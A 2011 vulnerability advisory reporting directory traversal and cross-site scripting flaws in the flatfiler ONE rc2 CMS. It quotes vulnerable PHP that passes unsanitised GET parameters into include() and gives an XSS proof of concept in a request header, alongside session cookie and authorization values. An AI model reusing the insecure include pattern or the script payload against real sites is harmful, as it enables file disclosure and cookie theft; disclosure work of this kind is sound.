flatfiler ONE rc2 - Multiple Web Vulnerabilities

Document Title:
===============
flatfiler ONE rc2 - Multiple Web Vulnerabilities



Release Date:
=============
2011-06-13


Vulnerability Laboratory ID (VL-ID):
====================================
56


Abstract Advisory Information:
==============================
An anonymous researcher discovered multiple Web Vulnerabilities on the flatfiler ONE rc2 CMS.



Vulnerability Disclosure Timeline:
==================================
2011-06-08:	Public or Non-Public Disclosure



Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1) Directory Traversal
A Attacker can recurse and access Files on the System with a Directory Traversal Vulnerability 
which would possibly lead to information disclosure of sensitive informations.

Vulnerable Module(s):

			[+] starting_download.php
			[+] vads.php
			[+] print_me.php


2) XSS
The Cross Site Scripting Vulnerability might lead to malicious script execution.






Proof of Concept (PoC):
=======================
1)
Directory Traversal Vulnerable Source Code sections:

starting_download.php
if(is_file(\"../../downloads/sets/$_GET[jumpto]\"))
{
@include(\"../../downloads/sets/$_GET[jumpto]\");
}


vads.php
<?php
include(\"../../ads/$_GET[banner_file]\");
?>


print_me.php
if(is_file(\"../articles/$_GET[article]\"))
{
@include(\"../articles/$_GET[article]\");
}

2)
PoC XSS

Host=www.flatfiler.de
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
Accept=text/xml,application/xml,application/xhtml+xml,text/html;
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language=de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Proxy-Connection=keep-alive
Referer=http://flatfiler.de/index.php?action=showarticle&pgn=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
Cookie=PHPSESSID=fb3d2f96b581d38853a63c4e895e984d;
sessionhash=29c2b7c32e3c43a5a329b3fc6f9f61d2
Authorization=Basic hjNDQ3LjE0OC5tM9N1U28vbtE0LjEzMg==




Security Risk:
==============
the security risk of the vulnerabilities are estimated as high.


Credits & Authors:
==================
N/A - Anonymous


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=========================
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